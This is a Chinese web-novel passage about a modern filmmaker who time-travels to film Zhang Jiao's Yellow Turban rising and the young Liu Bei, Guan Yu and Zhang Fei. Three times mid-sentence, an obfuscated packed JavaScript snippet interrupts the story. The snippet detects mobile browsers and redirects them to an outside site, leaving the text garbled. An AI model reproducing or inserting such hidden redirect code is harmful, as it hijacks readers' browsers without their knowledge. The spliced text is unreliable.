《[三国]在现场,我是制片人》 2. 总制片人 光和元年,一场日食之后,在大汉各地游历拍摄的李·导演·摄像师·剪辑师·云游散人·历史记录者·诗筠销声匿迹,许久都没有再听到有谁被采访的消息。 现任天子刘宏感到格外的焦虑。 在她各处拍摄的那些年里,拍过先帝、豪族权贵、初入仕途的官吏、卖瓜的瓜农、家里做编织的商贩、吃不起饭的平民…… 偏偏自己这位现任皇帝,连登基大典都没有拍过,后来除宦乱,平羌乱,竟也没有采访?! 尤其在得知一些平民都被采访过三次以上,他更焦虑了!甚至动了将人逮捕过来,强行给自己拍一段的想法。 “难道朕太过平庸了?”刘宏亲政这些年,对大汉局势也有所了解,他知道大汉处于一个下行状态。为了自己能得到拍摄,影像流传后世,也为了救国,他灵机一动。 哎?朕有个主意。 前些年既然已经标价卖官,且收益不错,那不如再多卖一点,将三公九卿以天价卖出去,然后再标个年限,如此反复卖了再收回再卖,就能无休无止地赚钱下去,有了钱,大汉不就又能繁荣了吗! 过了两年,财政收入表面上还挺好看的,刘宏有了很多钱修建行宫玩乐,大臣们也很积极的买官,岂不就是双赢?朕果然有能耐! 久而久之,本就对刘宏统治不满的清流名士们私下多有怨言,逐渐演变成公开的批评批判,都说天子无能亲信宦官,所以必定没有什么大作为,不仅得不到拍摄,还把摄像师给气走了。 刘宏忍无可忍,将这些人全部逮捕禁锢。批评的声音消失后,大汉的发展情况并未好转。 是年,光和七年,二月。 和往常一样在宫中耍乐的刘宏得到了一份密报,告密者名叫唐周,自称是大贤良师张角的弟子,要告发张角等人的谋逆之心,已经约定三月同日起事,均头戴黄巾作为标志。 这让刘宏更加破防了,张角有谋逆之心便是乱贼!而这个乱贼年轻的时候也曾有被采访的传闻,所以张角到各地布施传播教义的时候,当地官府都没有什么反应,认为他是在教化百姓,自然十分有利于统治,因此张角也的确像是个栋梁。 与密报同时送来的,还有一份刘宏期待已久的好消息。 消失六年的李·导演·摄像师·剪辑师·云游散人·历史记录者·诗筠再次出现了,就在巨鹿县。 而巨鹿县,此时乃是张角等乱贼的根据地。 “混账,混账!他们竟敢反朕……”刘宏愤怒不已,突然被一股恐惧包围,难道自己没被拍摄,而消失已久的李诗筠却去拍摄将要起事的张角,难道……难道自己要被他们杀入皇宫,取而代之? 念及此,刘宏立刻下令各地逮捕绞杀太平道教众,且很快就根据告发信息逮捕了一名核心成员,当即在雒阳处死示众示威。 而在多年没得到拍摄的怨恨和面临叛乱的愤怒恐惧三重情绪的交错下,刘宏干脆下令: “云游散人历史记录者李诗筠已经亡故多年,其身份尊贵,各州郡若有发现冒充者—— “就地格杀。” 二月本该是逐渐向暖和去,然而东汉三国时期正处于小冰河气候,仍旧是冷得人直哆嗦。 站在巨鹿县某城寨口的李诗筠不由打了个喷嚏,虽穿了羽绒服还是受不了这嗖嗖嗖的冷风。这些天在巨鹿一带转悠但没开机,先要配合国家做一些时空上的测试,确定后才开始行动。 她手里就拿了一个便携式手持录像机,一个斜挎包,轻装简行,一如既往。 李诗筠从斜挎包里掏了掏,确定国家特殊分配给她的武器在,子弹不多,只给了20发,不过这种威慑力,也足够了。 斜挎包里还装了一些急救药剂,和零食饼干,以及一份自热盒饭、一小桶泡面,这是她今天提前准备的工作餐。 天知道她已经多久没吃过现代的饭菜了,自从为数不多的存款花光后,只能蹭古人的饭,纯天然无任何科技添加!但难吃。 她查看了一下系统面板的声音设备,确定和系统所绑定的笔记本电脑是处于即时通讯状态。 “喂喂喂,能听到吗,我现在开始拍摄,有没有画面。”李诗筠打开手持摄像机,对准了城寨拍摄镜头。 与此同时,某一个摄影棚内,空地上摆放了一张会议桌,几乎密封的棚内灯也全部熄灭,桌子最前面摆放着李诗筠那台笔记本电脑,此时正连接着投屏,白色幕布上的画面正是遥远东汉时李诗筠所拍摄的画面。 会议室内是竞标选拔出来的影视圈各个专业人士,以及国家特别安排的四位历史专家,将为拍摄提供实地拍摄以外的一切场外指导。 之所以不去实地协助,是因为和李诗筠实践穿越的那位刑警和考古教授,目前出现了一些身体不适,还在住院观察,初步判断为呼吸了东汉空气导致的,虽没生命危险,在不确定其中的具体原因前是不会贸然再让人一起穿越的。 因此,在系统的帮助下得到了一个折中方案,就是这个摄影棚。左边的门连接21世纪,工作人员可以正常开启关闭。右边的门连接李诗筠所在的时空,只有李诗筠能打开,不到万不得已的时候,不会进行实地支援。 >“可以听到的,画面也很清晰。” 得到了指导组的确认后,李诗筠举着摄像机继续往前走。 城寨外面搭建了箭楼,用于望风和防御,镜头扫去,可以看到一个悬挂着的头颅,应该是被黄巾军所杀的当地官吏。 “嘶……”李诗筠立刻移开镜头。 同时,耳机里传来导演急切又不敢生气的请求: >“对着人头拍特写,突出黄巾军这伙反贼的残忍。” 紧接着,耳机里又传来历史专家的反驳声: >“拍摄者作为观察角度应该中立客观,张角是被逼迫起义的底层劳动人民,不能简单得用反贼来形容。镜头对准他们被压迫的现状!” >“教授,我当然明白辩证史观,但影视制作这一块是需要互相代入的……” 然后耳机里就充斥着影视人和历史人的争执声。 “……”李诗筠摘掉了耳机,等他们吵完了再沟通吧。 摄像机往箭楼的位置拍摄过去,可以看到站岗的人穿着破旧的麻布衣物,头上系着一条黄巾,面色黧黑一看就知道是种地的农民。 令人匪夷所思的是,那人手里居然拿着一副望远镜。 李诗筠有点印象,这是她第一次采访张角的时候赠送出去的。当时的张角还不是道士,为了能够将故事扭向正规,她只好冒充神仙说要传他千里眼的法术,就送了个望远镜。 冷风一阵,地面黄沙滚滚。 放哨的黄巾教众看到了门口服装古怪的陌生人,大喊一声,便冲出来好几个头戴黄巾的人将李诗筠围起来,他们手里拿着的兵器十分简陋,很容易看出来大多数就是农具,尖锐,且锈迹斑斑。 东汉的破伤风镰刀!威慑力拉满。 但就在他们无意对上镜头的时候,一瞬间就有一种认知。哪怕从未见过这个东西,此刻认定这就是传说中的摄像机! 那么,这个衣着古怪的陌生女子,一定就是传说中的李·导演·摄像师·剪辑师·云游散人·历史记录者·诗筠!黄巾教众们不敢置信,消失多年的剧组竟来到此地,难道说他们起事大成? 也是,也是,毕竟他们的领头人大贤良师张角可是在很多年前就得到过采访的,还被赠送了千里眼法宝。 这一个猜测让教众们很是激动,立刻就带着李诗筠走进了城寨里。 说是城寨,更像是一个法坛。走进去后第一眼就能看到个搭建起来的祭坛,此时正有一个穿着破烂道袍的人正在上面开坛做法祈祷,周围跪了一地信众,排着队领取大贤良师赐予的符水。 张角领导了历史上规模最大的宗教形式农民起义,可当将他放在《三国》这个故事里的时候,只是一个配角。所以李诗筠只采访过他两次,上一次采访对她而言在几个月前,对张角而言已经是十几年前。 李诗筠将镜头对准张角,一步步走上祭坛调整机位。想起如今有专业指导,又重新把耳机戴上。 里面传来导演急切的声音说: >“仰拍视角,对!表情特写,对!然后再拍一个祭坛上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305966|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俯视教众的镜头,拉广角。” 李诗筠都一一照做,这么拍出来的效果确实是比自己专业,尤其一些参数调整焦距等细节。 拍摄完群演镜头后,李诗筠再次拍向张角。 这一年的张角已经四十多岁,穿着宽大的道袍也遮不住削瘦的身形,脸上颧骨因饥饿而凹陷得更明显。双手捧剑闭着眼睛,正在祈祷着什么。 他突然睁开眼,对到来的陌生人很不客气,直接以利剑示威划出一道剑风,说:“你是何人……”想要厉声训斥,发现眼前这人又陌生又熟悉,在久远的记忆里一点点浮出来。 视线落在那个黑漆漆又泛着光,像是眼睛一样的镜头上,通过摄像机快速辨认出了来人,她居然和当年样貌没有半点变化! “是……是你?!”张角激动上前,却见她脸色极差。 李诗筠看着被划破的羽绒服,这可是她头一次穿上万的鸭绒!是确认合作后,领导体恤她一个人在东汉工作,自掏腰包送她的,希望她好好工作,既要对得起她自己的目标和热情,也要对得起国家的信任。 “啊!!!我的衣服!!”鸭绒就像是雪花一样从衣服里挤出来,在风里飘摇着。 张角大惊失色,连忙收剑抱拳说:“上使宽恕,请将衣物脱下,我亲自为你缝补!” 见他如此愧疚,若说不用反倒是长久记挂在心,给自己的衣服打个东汉的补丁,四舍五入那也是半件了。李诗筠想着,便脱下羽绒服,瞬间感觉身上的热气少了一大半,连忙又裹紧了羽绒服,说:“衣服不着急这一时半会,我记得你们三月就要起事了。” “……”张角愣了一下才反应过来她是后世来人,自然都知晓。 李诗筠又问:“如今二月……你们这收到雒阳的情报没?” 耳机里传来历史专家们小声讨论的声响,担心她提前把事情说出来。这等担忧并非没有根据,从笔记本电脑里节选观看的那些片段就知晓,她管不住自己的嘴,不经意会说出一些未来的事情。 这也是她寻求合作的原因之一,历史系毕业生对历史有一定了解,却还没有到精通的地步,再加上已经出现了一些微妙的变化,她怕自己控制不了发展局势,所以需要专家兜底。 张角摇头,正要回答,一名教众急匆匆奔跑过来,手里拿着一份传书,刚走到祭坛上就说:“不好了,大事不妙了!” >“特写看书信的表情,从正面拍摄,不用拍内容。” 李诗筠依言调整机位,此时整被特写表情的张角看着手中的情报脸色更加差了,他晃了晃差点没站稳,眼中慌乱无措仅存在短短瞬间,很快就又换成了坚定的表情。 传书上所说正是他的亲信告发黄巾教众起事,一名核心成员被处死,多地已经开始拘捕黄巾教众。 镜头往后换成近景半身拍摄,张角双手持剑向天,说:“事已败露,不得拖延,即刻传令各地起事!” 一呼百应,教众们揭竿而起。 “等下等下!”李诗筠赶紧拦着张角,说,“漏词了!你的经典台词!” “经典……台词……?”张角有些恍惚,台词二字他是能理解的,以前采访他的时候就听过,是指他在镜头前需要说的话。而经典,自己说的话能称为经典之言吗? 一个仰拍的镜头对准张角,祭坛上燃烧的是官邸里搜罗出来的东西,不能吃,只是权贵的象征,在不充分燃烧的条件下冒出滚滚黑烟。 他若有所思再次高高举剑,看着阴沉沉的天空,朗声道—— “苍天已死,黄天当立!岁在甲子,天下大吉!” >“好,cut!”耳机里传来导演兴奋的声音,于此同时,还有很多嘈杂的声音。 了解这段历史的人都知晓,张角以失败告终,且就在这一年的秋天病逝。 然而,影棚里的众人非但没有悲伤,反而有一种说不出的兴奋。 医疗组的人摩拳擦掌,内科主任在听到导演的那句cut后就从座位上站起来,打通医院电话吩咐起来。 “gogogo!!所有人动员起来!一级防护就位!警戒拉满,时刻就位!” 3. 总制片人 听着耳机里一连串兴奋的声音,李诗筠深吸了口气,小声提醒说:“现在才2月,7月的事情还早着呢。” 李诗筠之前从东汉永寿三年开始,一直到光和元年,快进跳跃拍摄了21年,实际消耗时间不到一年。其中时间的变化没有固定的比例,而是看拍摄片段的间隔,两场戏有时候间隔上下午,有时候间隔半年,直接快进跳过间隔,对她来说都是花同样的时间。 黄巾起义开始后,一直到张角病逝,中间发生了很多的事情值得拍摄,消耗时间不至于半年那么实,也得有一周了。 耳机里没了医疗组的声音,历史教授们询问李诗筠下一个场景去哪拍,隐约都透露着兴奋。李诗筠也猜到几分教授们的想法,拍完配角,自然该是去拍主角了。 不过在此之前还得补充些各州郡黄巾军情况的镜头,这是系统素材库里打了标记的,不拍就没办法进行下一次跳跃。 “起事在即,我也得去其他地方拍点。”李诗筠盖上摄像机盖子,准备跳跃到下一个场景。 张角点头道别,又想起了什么,从哨兵的手中将望远镜拿过来递给李诗筠,说:“此物神奇,我怕战败落入敌军手里,还是物归原主吧。” “好吧。”李诗筠本不想收,送出去的东西就没有要回来的道理,但耳机里的教授们快疯了,这要是哪天挖出来一个东汉望远镜,谁解释得清楚。 张角又递过来了一块黄巾,说:“各地人员混乱,总有认不出你的,戴上黄巾便是自己人。” “多谢。”李诗筠接过黄巾简单扎到头上,这边还有一个镜头拍完就传送去下一个场景。 还在巨鹿的黄巾军们因被拍摄大受鼓舞,在张角的带领下纷纷高喊着口号出发。 浩浩荡荡轰轰烈烈的实拍镜头让坐在摄影棚里的人们震撼不已。 直到镜头里没有了黄巾军,周围的场景才改变。 从荒凉的冀州变成了湖边芦苇摇晃的荆州,天气也明媚许多,从阴沉的下午变成了晴朗的上午。 可见是不同时间不同地方,但有相同的事。 “苍天已死——”一阵喧闹的声音响起,错乱的步伐声快速靠近,一群高举着旗帜、头戴黄巾的农人向着相同的方向去。 >“调整焦距,三七分镜,人逐渐填满画面。” 李诗筠根据耳机里的提示调整镜头,又再度换了场景。 豫州、扬州、青州、徐州、兖州、幽州… 黄巾军冲入官邸抢占地盘、闯进仓库搜拿粮食兵器,那些原本踩在头上的官吏此时被踩在脚下哀嚎,更多的人加入到这场起义中。 最后又来到广宗县,此时已经是张角带领的黄巾军从巨鹿出发后的八天,随着各地响应攻下官邸抢夺粮食得到兵器,更势如破竹。 一个小时前才道别的张角,此时又出现在了镜头里。 在完全掌控了广宗县后,黄巾军小做休整,整理分析各地送来的情报以便安排下一步。 一众核心成员正在官邸中开会,看到大喇喇扛着摄像机走进来的李诗筠,一些原本脚踩在椅子上很随意的人都纷纷坐得端正,用袖子抹掉脸上的土灰,想要上镜的面容更清晰一点。 此时正说到宫中的两个宦官内应已经暴露,天子任卢植为中郎将讨伐黄巾。先前对付各地散沙官兵还是很简单的,而卢植…… 众人看向扛着摄像机的李诗筠,没记错的话卢植也曾得到过采访,那年卢植任九江太守,有几名学生前去求学,便得了她的采访。卢植本就名声极好又有才学又有武力,更受天子信任,学生敬爱。 “尊驾,请问中郎将卢植后世评级如何?他为虎作伥,助纣为虐,是也?” “卢植奉诏讨贼也不能说是助纣为……。”李诗筠恨不得扇自己两巴掌,怎么就管不住这嘴,下次干脆拍摄期间让系统把自己禁言得了。 听到“讨贼”二字,黄巾众人脸色一变。 摄影棚中时刻盯着屏幕的工作人员们也是脸色一变。 坐在主位上的张角面色惨白,盯着李诗筠问:“上使所言讨贼,是因你自己偏袒朝廷,还是后世就如此评价?”连日连夜的行动,让他本就伤劳的身躯更为单薄,此时听到贼的字眼,更是摇摇欲坠。 如果历史评价他们为贼,那就只有一种可能,他们败了,而且败得很惨。 李诗筠后退了两步,希望耳机里的专家们赶紧给个合适的说辞啊! 此时,一名穿着布衣的核心教众站起来,提议说:“若是如此,不如投降。前些日子天子下诏,那位云游记录者已经亡故多年,如今有人冒充,不如将她就地格杀,上去领赏,推说是她蛊惑民众发生各地的乱事,也能减少伤亡!” “啊?不?什么意思?”李诗筠大惊,什么叫死了多年冒充自己?天子下诏?? 疑似昏君因没被拍摄气死前的无能狂怒。 李诗筠也被气得不轻,心里骂着:刘宏你有毛病吧,你谥号汉灵帝还想要多少戏份!?等着啊,你给我等着,等我去拍了你可别后悔! 张角站起来阻拦那位教众,眉头紧皱说:“你怎倒戈如此之快,我等此举难道还有回头路?就算是败,也要给皇帝老儿要出一口血来!上使身份岂能有假,你为何如此着急要去邀功领赏?” 那人被问住,眼中闪过些许心虚。 >“继续拍,他们看上去要内讧。” 李诗筠将镜头对准两人,另一只手掏在挎包里摸着后世的武器,观察周围环境,这么狭窄的室内如果开枪,不知道跳弹会不会打死自己。 席间一个和张角有三分相似的人站到张角身边,分析说:“我们既然能买通宦官内应,又有叛徒的先例,座中有朝廷的内应也未尝不可。” 说话的人是张角的弟弟张宝,平日负责后勤兼军师的职务,头脑还是挺灵光的,立刻听出了些问题来。 室内诸位都是黄巾军的核心人物,即便是被拍摄者称为“贼”,也只是心里憋着一口不甘心的恶气,绝对不会投降。如果他们还愿意苟且活下去,就不会选择站起来,要么饿死,要么战死。 后世评价乃文人所载,乃士大夫之言,他们不怪这位来到大汉拍摄记录的后辈,视线全部集中在内部的叛徒身上。 那人见情况不妙,也知晓叛徒的下场,干脆殊死一搏。他突然抽出匕首,往后勤张宝身上扎去,想着控制一人作为要挟换取马匹离开此地。 张角却拦到张宝面前,匕首也因突然出现的人偏离了方向,本是往腹部去的,情急之下往心脏要害捅去。 “混账东西!恶贼!”室内黄巾众控制住他的时候,张角也倒地不起血汩汩往外冒,此等伤势即便是华佗在世也…… 华佗还真在世……但华佗还真救不了心脏被捅的伤。 耳机里也是惊呼一片,张角如果现在就死了,历史就会出现重大变化。那些靠着讨黄巾起家的主角配角们,都要往后再稍一稍,朝廷还能再多苟延残喘些年。 医疗组外科主任又震惊又激动又紧张地抢过麦克风: >“接下来听我的操作!系统的事情你看着处理,想办法把他送进影棚!” 李诗筠将摄像机收回到系统,立刻掏出药剂上前大喊一声:“都别动!!接下来听我安排!” 她脱下羽绒服按在心脏伤口上止血,同时对着张角大腿就是一针肾上腺素药剂,调出系统面板找到摄影棚的按钮,仔细吩咐张宝和黄巾众后续事宜。 “我带他去治疗,你们一定不能对外公开这件事,就当张角还在带队,该做什么就做什么。如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305967|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情不顺利,等卢植出征后你们再退守此地,等张角伤号了,我就给他送回来。” 张宝与黄巾众点头应下,李诗筠确定连接开门选项。 “你们帮我把他搬到门口,然后退开距离!” 众人应下,帮着把张角小心抬到了紧闭的大门口,按照要求头朝门摆放后,然后退得老远。李诗筠拉开大门,门外的景象却不是普通的宅邸院落,说是门外,更像是门内。 里面是一个灯光昏暗的场景,黄巾众惊异不定,突然眼睛睁大像是看到了什么无法理解的诡异画面。从那昏暗的门内,竟伸出了两只惨白惨白的手,抓住已经昏迷不醒的张角的肩膀,拖进了那个昏暗的空间。 李诗筠也走了进去,顺手将门关上。 门关上的瞬间,门外的阳光透过门窗照入,看上去没有任何异常。张宝壮着胆子上前去开门,门外亮堂一片,一个宽敞的院落,冷风吹过,寻常如旧。 “后世的人都是修仙成功了吗……”有人嘀咕了句,开始觉得张角所创的太平道没准真有点东西。 系统所创建的特殊摄影棚内,医疗组搬了一个外科手术室过来,哪怕已经提前准备,也料不到提前这么多,一些设备还在搬过来的路上。 张角立刻进行抢救手术,联络血库送血,抢救的同时也采集了一些生物样本做研究。 会议室内的剧组成员们面面相觑,事情发生得太突然,甚至都不知道拍摄项目能否继续进行。 李诗筠在手术室外等了一会,一名医护出来汇报伤者情况:“能救。”就匆匆又投入到抢救工作中去。 李诗筠松了口气,因自己口误导致的变故感到懊悔,回答问题时还是要谨慎再谨慎,及时补救!言语沟通这一块不能太依赖耳机里的专家们,等他们帮忙找补,还不如自己胡言乱语。 她想了想,走进会议室与合作伙伴们简单打了打招呼,面对这么多影视圈大佬和历史专家们,倒是没什么心理负担。自己如今是大项目的总制片人,权限远高于任何一个人,所以对是否暂停拍摄一事,她也直接说了自己的想法。 现在张角被带离东汉抢救,黄巾军们是还在活动的,所以只要不是大时间跨度的拍摄,还是可以去的。而且,并不是她回来了东汉那边时间就暂停,还是会持续往前挪动的,在东汉观察张角消失后的变化才是最稳妥的,一旦有什么变故,还能第一时间补救。 李诗筠看了看系统面板上等待拍摄的两段情节,时间是并列的,和黄巾军们起义发生在同时,还得尽快去拍摄才行,否则错过了剧情想要补拍是非常麻烦的。 “好,都听总制片人的。”会议室内众人已经点好外卖,边工作边吃饭。今天是项目第一天,就出现了这样的变故,更要调整好心态。 李诗筠点头一声,自己的羽绒服全是血没法穿,穿越回去东汉的温度又低,便问人借件外套。化妆师将自己的羊绒外套递过来,宽大柔软且保暖。 李诗筠道谢过后便又穿越到了离开时的同一天,但不是同一个地方。 同步屏幕的左上角,也出现了时间地点。 【光和七年,幽州,涿郡,涿县】 耳机里立刻传来一阵刺耳如猴子叫的喧闹:“ohhhhhhhhhhh!!!!” 一刻也没有为张角哀悼,立刻赶来战场的是刘关张! 不,没必要哀悼,他将是历史上第一个接受现代外科手术的汉朝人!我们为他感到骄傲! 李诗筠身穿宽大的羊绒外套,头上还戴着之前张角给她的黄巾,是为了方便拍摄各地黄巾军时不被误伤,一时忘记摘了。 她走在涿县的集市街道上,没走两步就听到有人惊呼一声。 “有黄巾贼冒充那个……那个!冒充云游记录者!” 4. 桃园结义 李诗筠给气无语了,自己不过是离开六年,就被天子造谣说死了六年,这合适吗?平时政策下放不见得快速落实,通缉令倒是一个个格外积极。 她连忙摘了头上的黄巾,看向声音的来源,是集市的市正。 来涿县采访加起来估计有五六次了,当地百姓们对她也算是熟悉,尤其那张几十年不曾变化的脸,和手里精密到不是这个时代能仿造的高端设备,都是独一无二的防伪标签。 “哎呀,是你……”市正还不做这职务的时候曾围观过几次拍摄,确定眼前这人就是传说中到处游历采访的李诗筠,大家也都知晓她来自后世。她也很谦虚,让众人简单称呼小李便是。 人们应下,却不以此称呼,终究觉得她身兼数职是个及其重要尊贵的人,即便是小辈也不能怠慢,因此以她那一长串职务挑选着喊。 市正惊呼一声后拉着李诗筠到边上,说:“尊驾这些年去了何方,天下人都以为你已经亡故,听闻又有拍摄者出现,以为是冒充行骗的,天子还下了死命令,冒充者格杀勿论呢。” “……”李诗筠心里骂骂咧咧,昏君啊昏君,拍完这场就去皇宫拍你的昏君戏。 “这几年,冬眠了。”李诗筠随口回答。 市正没反应过来冬眠六年的玩笑,尴尬笑了笑转移话题,问:“尊驾此次前来,又是采访刘玄德的?” “我随便走走,到处拍一些,拍点如今的集市是如何的。”李诗筠回答,耳机里是历史教授们对东汉民间经济体系的好奇,让她在不耽误任务的前提下把集市状况记录下来。 婉拒了市正的好心陪同,李诗筠就到集市去拍素材,商贩买主们得知自己竟能有上镜的机会都很是激动紧张,还时不时偷看镜头。 “我们现在是纪录片模式,不要看镜头,谁看镜头删谁戏份。” 此言一出,商贩买主们才逐渐恢复正常交易状态,假装没有看到镜头,各行其是。 当李诗筠再次出现在涿县的消息传到县衙的时候,县主簿只惊喜了一瞬间便啧啧摊手,说:“没猜错的话,又是找刘备那小子的吧?他能有什么出息,值得多次采访。上一任县令还真信了‘凡被采访者将来必有出息’这传说,可是呢?那年派人给了他母亲一些钱,说是出门求学还得了九江太守卢植的青睐……然,呵呵,回来后竟拾起了织席贩履的手艺,他能有什么志向。” 小吏们正议论着,县令从后堂出来,不悦地瞥了眼主簿说:“你在议论玄德?”他身材高挑,样貌俊朗,声音洪亮好听,一双锐利的眼睛盯过来,不似寻常的文臣。 主簿立刻闭嘴,换上一副讨好的嘴脸,作揖敬唤道:“明府,我不过是随口胡说。那刘玄德是明府的同窗,又同样多次接受过采访,自然是大有作为的。” 县令询问怎么一回事,报信的人将李诗筠再次出现一事道来,顺势吹捧说:“明府当年也多次受采访,年少便得器重,如今已为县令,可见传言是真。那刘玄德如今织席贩履,只是未得机遇……” “嗯?”县令不悦,怒视小吏不要再议论自己好友,“既是来回访玄德,又在闹市,我带些人手去协助……” “明府——”又一名小吏跑来,匆忙禀报,“明府,朝廷有急书送来。” 协助拍摄一事只能暂时作罢,等这边应付完了再去看看玄德那边怎样了。 集市口,很是喧嚣,比平日里更多了些人。 市正被拒绝后还是厚着脸皮跟随,甚至强行入镜,装作是检查秤砣,与商贩对话。 见他如此热情,耳机里传来教授们大胆的请求,配合着问了一些集市的问题,也算是得了单独的采访。 摄影棚里的各位影视人纷纷感慨实拍的效果就是不一样,这种朴素得仿佛呼吸一口都有土灰的年代感,扑面而来的底层劳动人民的生活感,依靠搭建场景是绝对还原不了半点的。 李诗筠又往前走了一些路,终于看到了刘备的摊位。 只不过和她以为的略有不同,边上还有两个眼熟的商贩在。 卖草鞋草席的摊位左边,就坐着一个面若重枣身材高壮、方弱冠才蓄须的年轻人在卖枣子,正是关羽(短胡须限时版)。 右边相隔一段距离就有个卖猪肉的摊子,不过肉贩不在自己摊子上,此时就随意坐在卖草鞋右边的空地上。 肉贩年纪看上去更轻,尚未蓄须,头上也无冠,可见年龄不满二十,他面色偏黑,同样是个高壮体格,却有一双水亮的大眼睛,正是张飞(没胡子限时版)。 >“ohhhhhhhhhhh!ohh!!ohh!!!” 耳机里又是一阵激动叫喊声,李诗筠不得不先把耳机摘了让他们缓缓。 看着此时坐在一起有说有笑的刘关张,可见他们三人认识已久,关系也不错。一时间不知道是自己多次采访导致的,还是历史上原本就这样。 她将镜头对准正在聊天的刘关张三人,坐在C位的刘备如今二十四岁,比起年幼时的开朗调皮、少年时的认下不羁、求学时的迷茫,如今多了一些无奈和沧桑,像是接受了社会的毒打,不甘心又没有毒打社会的能力。 镜头对准了正在编织物件的双手,指节分明,纤细但粗糙,食指靠大拇指方向可以看到因经常编制而磨出来的茧子。给编织物打结的时候,草绳先在手上绕紧,勒出红红的印子。 “啧啧真是我见犹怜啊宝备。”李诗筠的画外音一如既往胡言乱语,惊觉音画同步到摄影棚,立刻出了一身冷汗。 耳机里一阵沉默。 过了一会儿,传来导演的声音:“嗯……通过对手部茧子的特写,说明角色的生活艰苦程度,和他后来的发展形成对比。”金牌导演不愧是金牌导演,对画面有自己的解读。 李诗筠尬笑,镜头里刘备正在编织的既不是草鞋草帽也不是草席,而是一个草项圈。一条白色的细犬就安静地坐在边上,本来就瘦的体格此时更是肋骨分明毛茸茸的耳朵垂着,整个脑袋长长尖尖,像个白色的自行车座子。 草编织的项圈还设计了搭扣,给狗狗戴上去试了下大小又取下来,用细绳编织捶了几个绳结模仿宝石流苏的形态,然后又给狗戴上。 边上的关羽抚摸狗顺毛,叹息说:“各地黄巾起事,州郡很快就该募兵平乱了。我们三人虽有报国之心,可是……即便是都被采访多次,也都因无门无路,便料定我们无所作为。” 张飞闻言冷哼一声:“张角也被采访过却是个反贼,因此便说凡士族豪门被拍摄者为栋梁,平民白身被拍摄者为乱贼!狗眼看人低的东西!真是可恨!” 白毛细犬:嗷呜? 不远处传来一声吆喝,有人奔走通知说:“有新布告!新布告!” 三人结束闲聊话题准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305968|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去布告栏看看,一抬头看见正对着这边的摄像机,以及那个陌生又熟悉的后世之人,李·导演·摄像师·剪辑师·云游散人·历史记录者·诗筠! “哎呀呀哮天犬好几年不见你都这么瘦了,真是我见犹怜呀!”为刚才的口不择言找补,李诗筠走向了那条白毛细犬。 耳机里再度沉默,虽然,但是,好吧,取名自由。 李诗筠还记得,这狗是刘备和公孙瓒到九江求学的时候捡到的。由于生活地域不同,她从在网络外见过细犬,传说中哮天犬的原型,因此脱口而出窝趣哮天犬,刘备和公孙瓒觉得这名字很炫酷,便采用了。 给狗狗用这名字,可见心里对苍天也是多有不满的。 然而哮天犬恐怕是早就不记得她这个一面之缘的人,又嗅到她手上有血腥味,不由站在主人身前呲牙呜呜警告起来。 “……!”李诗筠连忙收住上前撸狗的行为,后退一步说,“遛狗不牵绳,等于狗遛狗!” 刘备:“……” 三人心中虽是惊喜,可羞愧尴尬更多,其他被采访的人都渐渐有所作为,他们却只是涿郡小县的商贩。那些名门权贵出身的暂且不论,就拿吴郡那位卖瓜的孙坚,十六岁钱塘江上打水盗一战成名,因此得了功勋走上仕途。 比权贵比不过,同样平民也比不过,因此都低下头谁也没有主动打招呼。 “诶不是?这么无情的吗。”李诗筠见他们羞愧低头,也猜到是因此时身份仍旧低微,觉得愧对了采访。 李诗筠歪头到关羽面前,说:“小财神,你小时候打枣子,我还抱过你呢,现在靠卖枣子赚钱了,怎么装不认识我。” 关羽抬头,本就枣红色的脸更不好意思了,小声地说:“怕是出了岔子,前些年乡里恶霸欺负人,我……我杀了人流亡到此,不知如何是好。” “哦……这事史书上本来就有,杀得好。” 关羽惊得瞪大了眼睛,一旁刘备和张飞听后打心眼里为关羽高兴。 李诗筠又看向张飞,问:“小飞飞,上次去你家采访的时候,你还不舍得我走呢,拉着我教你画画。怎么如今见了我,也装不认识?” 此时的张飞还没长胡子,19岁的面容除了略黑外还挺清秀的,闻言有些委屈,说:“你走后的第三年,我兄长病故,家业只能我来继承。书画如今极少碰了,肉摊的生意忙。” 他一边说着,随意在地上作画,说:“不过你教的拟人化动物风格我都记着呢。” 李诗筠很高兴,镜头也调整向地面,一个圆脸尖尖的鼻子,两个半圆形的耳朵,细胳膊细腿一只手叉腰的经典动作。 是一只米老鼠。 “嘶!!!”李诗筠连忙将地上的画擦掉移开镜头,说,“这些东西以后不要在镜头前画,我们没版权,会被告的。” >“让他画!画在布上然后埋下去再出土!我们反过来收dsn版权费!” 耳机里传来项目法务部的建议,声音激动带着几分戏谑,然后就是一阵哄堂大笑的声音。 